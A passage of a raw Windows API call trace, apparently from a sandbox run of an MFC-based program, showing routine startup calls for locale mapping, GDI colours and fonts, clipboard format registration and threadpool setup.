\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧĨĀ", cchSrc=256, lpDestStr=0x106f278, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0230.783] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x106f930, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb2\x32\x33\xb6\x6c\xfc\x06\x01\xad\x05\x28\x01\xa8\xab\x40\x01\xc8\xad\x40\x01", lpUsedDefaultChar=0x0) returned 256 [0230.783] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0230.783] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x127b866) returned 0x0 [0230.784] GetCurrentThread () returned 0xfffffffe [0230.784] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x106fc98, lpExitTime=0x106fca0, lpKernelTime=0x106fca0, lpUserTime=0x106fca0 | out: lpCreationTime=0x106fc98, lpExitTime=0x106fca0, lpKernelTime=0x106fca0, lpUserTime=0x106fca0) returned 1 [0230.784] RtlInitializeSListHead (in: ListHead=0x139a0f8 | out: ListHead=0x139a0f8) [0230.786] GlobalLock (hMem=0x2e20004) returned 0x14035f0 [0230.786] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0x140d620 [0230.786] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x140d0b0 [0230.786] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x140d790 [0230.786] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x140a938 [0230.787] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc16f [0230.800] RegisterClipboardFormatW (lpszFormat="AFX_WM_DRAW2D") returned 0xc170 [0230.800] RegisterClipboardFormatW (lpszFormat="AFX_WM_RECREATED2DRESOURCES") returned 0xc171 [0230.801] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_AFTER_SHELL_COMMAND") returned 0xc172 [0230.801] RegisterClipboardFormatW (lpszFormat="AFX_WM_CHANGEVISUALMANAGER") returned 0xc173 [0230.801] GetSystemMetrics (nIndex=11) returned 32 [0230.802] GetSystemMetrics (nIndex=12) returned 32 [0230.802] GetSystemMetrics (nIndex=2) returned 17 [0230.802] GetSystemMetrics (nIndex=3) returned 17 [0230.802] GetDC (hWnd=0x0) returned 0x3010738 [0230.802] GetDeviceCaps (hdc=0x3010738, index=88) returned 96 [0230.802] GetDeviceCaps (hdc=0x3010738, index=90) returned 96 [0230.802] ReleaseDC (hWnd=0x0, hDC=0x3010738) returned 1 [0230.802] GetSysColor (nIndex=15) returned 0xf0f0f0 [0230.802] GetSysColor (nIndex=16) returned 0xa0a0a0 [0230.802] GetSysColor (nIndex=20) returned 0xffffff [0230.802] GetSysColor (nIndex=18) returned 0x0 [0230.802] GetSysColor (nIndex=6) returned 0x646464 [0230.802] GetSysColorBrush (nIndex=15) returned 0x1100074 [0230.802] GetSysColorBrush (nIndex=6) returned 0x110007c [0230.802] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0230.802] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0230.802] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0230.802] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0230.802] VerifyVersionInfoW (in: lpVersionInformation=0x106fb60, dwTypeMask=0x3, dwlConditionMask=0x1b | out: lpVersionInformation=0x106fb60) returned 1 [0230.802] GetSystemMetrics (nIndex=4096) returned 0 [0230.802] GetSysColor (nIndex=22) returned 0xe3e3e3 [0230.802] GetSysColor (nIndex=21) returned 0x696969 [0230.803] GetWindowDC (hWnd=0x0) returned 0x10105e0 [0230.803] LocalAlloc (uFlags=0x40, uBytes=0x54) returned 0x1406a08 [0230.803] LocalReAlloc (hMem=0x140d790, uBytes=0xc, uFlags=0x2) returned 0x1407f50 [0230.803] GetDeviceCaps (hdc=0x10105e0, index=12) returned 32 [0230.803] GetSysColor (nIndex=15) returned 0xf0f0f0 [0230.803] GetSysColor (nIndex=16) returned 0xa0a0a0 [0230.803] GetSysColor (nIndex=21) returned 0x696969 [0230.803] GetSysColor (nIndex=22) returned 0xe3e3e3 [0230.803] GetSysColor (nIndex=20) returned 0xffffff [0230.803] GetSysColor (nIndex=18) returned 0x0 [0230.803] GetSysColor (nIndex=17) returned 0x6d6d6d [0230.803] GetSysColor (nIndex=6) returned 0x646464 [0230.803] GetSysColor (nIndex=13) returned 0xff9933 [0230.803] GetSysColor (nIndex=14) returned 0xffffff [0230.803] GetSysColor (nIndex=5) returned 0xffffff [0230.803] GetSysColor (nIndex=8) returned 0x0 [0230.803] GetSysColor (nIndex=9) returned 0x0 [0230.803] GetSysColor (nIndex=7) returned 0x0 [0230.803] GetSysColor (nIndex=2) returned 0xd1b499 [0230.803] GetSysColor (nIndex=3) returned 0xdbcdbf [0230.803] GetSysColor (nIndex=27) returned 0xead1b9 [0230.803] GetSysColor (nIndex=28) returned 0xf2e4d7 [0230.803] GetSysColor (nIndex=10) returned 0xb4b4b4 [0230.803] GetSysColor (nIndex=11) returned 0xfcf7f4 [0230.803] GetSysColor (nIndex=19) returned 0x0 [0230.804] GetSysColor (nIndex=26) returned 0xcc6600 [0230.804] GetSysColorBrush (nIndex=16) returned 0x1100075 [0230.804] GetSysColorBrush (nIndex=20) returned 0x1100076 [0230.804] GetSysColorBrush (nIndex=5) returned 0x110007b [0230.804] CreateSolidBrush (color=0xf0f0f0) returned 0x4100767 [0230.804] CreateSolidBrush (color=0xf0f0f0) returned 0x1100768 [0230.804] CreateSolidBrush (color=0xd1b499) returned 0x1100769 [0230.804] CreateSolidBrush (color=0xdbcdbf) returned 0x110076a [0230.804] CreateSolidBrush (color=0xff9933) returned 0x110076b [0230.804] CreateSolidBrush (color=0x696969) returned 0x110076c [0230.805] CreateSolidBrush (color=0xffffff) returned 0x110076d [0230.805] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x130076e [0230.805] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0x130076f [0230.805] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x1300770 [0230.805] CreateSolidBrush (color=0xf7f7f7) returned 0x1100771 [0230.805] ReleaseDC (hWnd=0x0, hDC=0x10105e0) returned 1 [0230.806] GetWindowDC (hWnd=0x0) returned 0x10105e0 [0230.806] GetDeviceCaps (hdc=0x10105e0, index=88) returned 96 [0230.806] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x106f8e8, fWinIni=0x0 | out: pvParam=0x106f8e8) returned 1 [0230.812] GetTextCharsetInfo (in: hdc=0x10105e0, lpSig=0x0, dwFlags=0x0 | out: lpSig=0x0) returned 0 [0230.812] lstrcpyW (in: lpString1=0x106fafc, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0230.812] EnumFontFamiliesW (hdc=0x10105e0, lpLogfont=0x0, lpProc=0x1167ea8, lParam=0x1312eec) returned 0 [0230.816] lstrcpyW (in: lpString1=0x106fafc, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0230.816] CreateFontIndirectW (lplf=0x106fae0) returned 0x10a0777 [0230.817] CreateFontIndirectW (lplf=0x106fae0) returned 0x10a0778 [0230.817] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x106f6f0, fWinIni=0x0 | out: pvParam=0x106f6f0) returned 1 [0230.817] CreateFontIndirectW (lplf=0x106fae0) returned 0x10a0779 [0230.817] CreateFontIndirectW (lplf=0x106fae0) returned 0x10a077a [0230.817] CreateFontIndirectW (lplf=0x106fae0) returned 0x10a077b [0230.817] GetSystemMetrics (nIndex=72) returned 15 [0230.817] lstrcpyW (in: lpString1=0x106fafc, lpString2="Marlett" | out: lpString1="Marlett") returned="Marlett" [0230.817] CreateFontIndirectW (lplf=0x106fae0) returned 0x10a077c [0230.817] GetStockObject (i=17) returned 0x18a0025 [0230.817] GetObjectW (in: h=0x18a0025, c=92, pv=0x106fae0 | out: pv=0x106fae0) returned 92 [0230.817] lstrcpyW (in: lpString1=0x106fafc, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0230.817] CreateFontIndirectW (lplf=0x106fae0) returned 0x10a077d [0230.818] CreateFontIndirectW (lplf=0x106fae0) returned 0x10a077e [0230.818] GetStockObject (i=17) returned 0x18a0025 [0230.818] GetObjectW (in: h=0x18a0025, c=92, pv=0x106fae0 | out: pv=0x106fae0) returned 92 [0230.818] CreateFontIndirectW (lplf=0x106fae0) returned 0x10a077f [0230.818] CreateFontIndirectW (lplf=0x106fae0) returned 0x10a0780 [0230.818] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0230.819] SelectObject (hdc=0xa0100d0, h=0x10a0777) returned 0x18a0048 [0230.819] GetTextMetricsW (in: hdc=0xa0100d0, lptm=0x106f664 | out: lptm=0x106f664) returned 1 [0230.819] SelectObject (hdc=0xa0100d0, h=0x10a077d) returned 0x10a0777 [0230.819] GetTextMetricsW (in: hdc=0xa0100d0, lptm=0x106f664 | out: lptm=0x106f664) returned 1 [0230.819] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x10a077d [0230.819] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0230.819] DeleteObject (ho=0x18a0025) returned 1 [0230.820] ReleaseDC (hWnd=0x0, hDC=0x10105e0) returned 1 [0230.820] GetSystemMetrics (nIndex=49) returned 16 [0230.820] GetSystemMetrics (nIndex=50) returned 16 [0230.820] SetRectEmpty (in: lprc=0x1394594 | out: lprc=0x1394594) returned 1 [0230.820] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1168030, dwData=0x1394594) returned 1 [0230.820] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x106fa78 | out: lpmi=0x106fa78) returned 1 [0230.820] CopyRect (in: lprcDst=0x106faa0, lprcSrc=0x106fa8c | out: lprcDst=0x106faa0) returned 1 [0230.820] SystemParametersInfoW (in: uiAction=0x1002, uiParam=0x0, pvParam=0x13945b8, fWinIni=0x0 | out: pvParam=0x13945b8) returned 1 [0230.821] SystemParametersInfoW (in: uiAction=0x1012, uiParam=0x0, pvParam=0x13945bc, fWinIni=0x0 | out: pvParam=0x13945bc) returned 1 [0230.821] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x13945cc, fWinIni=0x0 | out: pvParam=0x13945cc) returned 1 [0230.821] RegisterClipboardFormatW (lpszFormat="TOOLBAR_POPUPMENU") returned 0xc174 [0230.821] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CUSTOMIZE") returned 0xc175 [0230.821] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CREATE") returned 0xc176 [0230.821] RegisterClipboardFormatW (lpszFormat="TOOLBAR_DELETE") returned 0xc177 [0230.821] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CUSTOMIZEHELP") returned 0xc178 [0230.821] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETTOOLBAR") returned 0xc179 [0230.821] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETMENU") returned 0xc17a [0230.821] RegisterClipboardFormatW (lpszFormat="TOOLBAR_SHOWREGULARMENU") returned 0xc17b [0230.821] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETCONTEXTMENU") returned 0xc17c [0230.821] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETKEYBAORD") returned 0xc17d [0230.821] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETRPROMPT") returned 0xc17e [0230.822] GetProfileIntW (lpAppName="windows", lpKeyName="DragMinDist", nDefault=2) returned 0x2 [0230.823] GetProfileIntW (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0230.828] RegisterClipboardFormatW (lpszFormat="MSG_CHECKEMPTYMINIFRAME") returned 0xc17f [0230.829] RegisterClipboardFormatW (lpszFormat="AFX_WM_UPDATETOOLTIPS") returned 0xc180 [0230.830] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_RENAME_TAB") returned 0xc181 [0230.830] RegisterClipboardFormatW (lpszFormat="AFX_WM_ONCHANGE_ACTIVE_TAB") returned 0xc182 [0230.830] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVE_TAB") returned 0xc183 [0230.830] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CHANGING_ACTIVE_TAB") returned 0xc184 [0230.830] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_GET_TAB_TOOLTIP") returned 0xc185 [0230.830] RegisterClipboardFormatW (lpszFormat="AFX_WM_POSTSETPREVIEWFRAME") returned 0xc186 [0230.831] GetSystemMetrics (nIndex=69) returned 4 [0230.831] GetSystemMetrics (nIndex=68) returned 4 [0230.831] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_PRESS_CLOSE_BUTTON") returned 0xc187 [0230.832] RegisterClipboardFormatW (lpszFormat="AFX_WM_AFTER_TASKBAR_ACTIVATE") returned 0xc188 [0230.832] RegisterClipboardFormatW (lpszFormat="AFX_WM_CHANGE_CURRENT_FOLDER") returned 0xc189 [0230.833] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_HSCROLL") returned 0xc18a [0230.833] RegisterClipboardFormatW (lpszFormat="AFX_WM_GETDRAGBOUNDS") returned 0xc18b [0230.833] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_DRAGCOMPLETE") returned 0xc18c [0230.833] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_TABGROUPMOUSEMOVE") returned 0xc18d [0230.833] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CANCELTABMOVE") returned 0xc18e [0230.833] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVETABCOMPLETE") returned 0xc18f [0230.834] RegisterClipboardFormatW (lpszFormat="AFX_WM_PROPERTYCHANGED") returned 0xc190 [0230.834] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0230.834] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0230.834] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0230.835] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0230.835] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0230.835] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0230.835] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0230.835] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0230.835] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0230.835] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0230.835] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc075 [0230.835] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc07e [0230.835] RegisterClipboardFormatW (lpszFormat="AFX_WM_POSTRECALCLAYOUT") returned 0xc191 [0230.835] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CHANGE_RIBBON_CATEGORY") returned 0xc192 [0230.835] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_RIBBON_CUSTOMIZE") returned 0xc193 [0230.835] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_HIGHLIGHT_RIBBON_LIST_ITEM") returned 0xc194 [0230.835] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_BEFORE_SHOW_RIBBON_ITEM_MENU") returned 0xc195 [0230.837] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVETOTABGROUP") returned 0xc196 [0230.837] RegisterClipboardFormatW (lpszFormat="WINDOW_HELP") returned 0xc197 [0230.838] RegisterClipboardFormatW (lpszFormat="TOOLBAR__GETDOCUMENTCOLORS") returned 0xc198 [0230.839] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc199 [0230.840] GetVersionExW (in: lpVersionInformation=0x106f9d4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa00000a, dwMinorVersion=0x1407238, dwBuildNumber=0x2, dwPlatformId=0x0, szCSDVersion="爸ŀʄŀ\x80") | out: lpVersionInformation=0x106f9d4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0230.840] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0230.840] GetProcAddress (hModule=0x75130000, lpProcName=0x1347bf0) returned 0x75172720 [0230.840] GetProcAddress (hModule=0x75130000, lpProcName="GetThreadGroupAffinity") returned 0x751713f0 [0230.840] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0230.841] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumberEx") returned 0x779ebd70 [0230.841] LoadLibraryExW (lpLibFileName="combase.dll", hFile=0x0, dwFlags=0x800) returned 0x74f70000 [0230.841] GetModuleHandleW (lpModuleName="combase.dll") returned 0x74f70000 [0230.841] GetProcAddress (hModule=0x74f70000, lpProcName="RoInitialize") returned 0x75045b90 [0230.841] GetModuleHandleW (lpModuleName="combase.dll") returned 0x74f70000 [0230.841] GetProcAddress (hModule=0x74f70000, lpProcName="RoUninitialize") returned 0x750495f0 [0230.841] GetCurrentProcess () returned 0xffffffff [0230.841] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4 | out: lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4) returned 1 [0230.841] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0230.842] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformationEx") returned 0x74e04360 [0230.842] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x139a0c4 | out: Buffer=0x0, ReturnedLength=0x139a0c4) returned 0 [0230.842] GetLastError () returned 0x7a [0230.842] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x143ad70, ReturnedLength=0x139a0c4 | out: Buffer=0x143ad70, ReturnedLength=0x139a0c4) returned 1 [0230.842] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x74c60000 [0230.842] GetProcAddress (hModule=0x74c60000, lpProcName="RegisterTraceGuidsW") returned 0x779c09d0 [0230.842] GetProcAddress (hModule=0x74c60000, lpProcName="UnregisterTraceGuids") returned 0x779c07c0 [0230.842] GetProcAddress (hModule=0x74c60000, lpProcName="TraceEvent") returned 0x77a75ec0 [0230.843] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceLoggerHandle") returned 0x779f4520 [0230.843] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceEnableLevel") returned 0x779f4ed0 [0230.843] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceEnableFlags") returned 0x779f4ea0 [0230.843] EtwRegisterTraceGuidsW () returned 0x0 [0230.843] RtlInitializeSListHead (in: ListHead=0x143add8 | out: ListHead=0x143add8) [0230.843] RtlInitializeSListHead (in: ListHead=0x143ade0 | out: ListHead=0x143ade0) [0230.843] RtlInitializeSListHead (in: ListHead=0x143ae40 | out: ListHead=0x143ae40) [0230.843] RtlInitializeSListHead (in: ListHead=0x143ae48 | out: ListHead=0x143ae48) [0230.844] RtlInitializeSListHead (in: ListHead=0x143af60 | out: ListHead=0x143af60) [0230.844] RtlInitializeSListHead (in: ListHead=0x143af68 | out: ListHead=0x143af68) [0230.844] RtlInitializeSListHead (in: ListHead=0x143af70 | out: ListHead=0x143af70) [0230.844] RtlInitializeSListHead (in: ListHead=0x143af78 | out: ListHead=0x143af78) [0230.844] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x1ec [0230.844] RegisterWaitForSingleObject (in: phNewWaitObject=0x143af54, hObject=0x1ec, Callback=0x12e6468, Context=0x143ad78, dwMilliseconds=0xffffffff, dwFlags=0x0 | out: phNewWaitObject=0x143af54*=0x1412d40) returned 1 [0230.844] CreateThreadpoolTimer (in: pfnti=0x12e644a, pv=0x143ad78, pcbe=0x0 | out: pv=0x143ad78) returned 0x140a150 [0230.844] GetModuleHandleA (lpModuleName=0x0) returned 0x1110000 [0230.844] TpSetTimer (in: pti=0x140a150, pftDueTime=0x106faf0, msPeriod=0x7fffffff, msWindowLength=0x0 | out: pti=0x140a150) [0230.844] GetCurrentProcess () returned 0xffffffff [0230.844] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4 | out: lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4) returned 1 [0230.844] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0230.844] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformationEx") returned 0x74e04360 [0230.844] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x139a0c4 | out: Buffer=0x0, ReturnedLength=0x139a0c4) returned 0 [0230.844] GetLastError () returned 0x7a [0230.844] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x14447c8, ReturnedLength=0x139a0c4 | out: Buffer=0x14447c8, ReturnedLength=0x139a0c4) returned 1 [0230.845] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x1f4 [0230.845] GetNumaHighestNodeNumber (in: 